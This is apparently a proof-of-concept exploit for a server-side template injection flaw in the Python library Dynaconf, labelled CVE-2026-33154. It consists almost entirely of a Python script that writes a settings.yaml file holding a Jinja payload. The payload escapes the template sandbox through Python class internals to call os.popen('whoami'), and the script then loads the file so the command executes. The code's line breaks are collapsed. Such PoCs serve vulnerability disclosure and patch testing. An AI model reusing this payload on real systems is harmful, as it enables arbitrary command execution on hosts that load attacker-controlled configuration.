CVE-2026-33154 Dynaconf SSTI漏洞

# Create a malicious configuration file (e.g., settings.yaml) # Content of settings.yaml: # default: # malicious_key: "@jinja {{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read() }}" # Python script to trigger the vulnerability import os # Simulate creating the malicious file with open('settings.yaml', 'w') as f: f.write("""default: malicious_key: "@jinja {{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read() }}" """) from dynaconf import Dynaconf # Load settings - this triggers the SSTI settings = Dynaconf(settings_files=['settings.yaml']) # Print the result of the executed command print(f"Command output: {settings.malicious_key}") # Clean up os.remove('settings.yaml')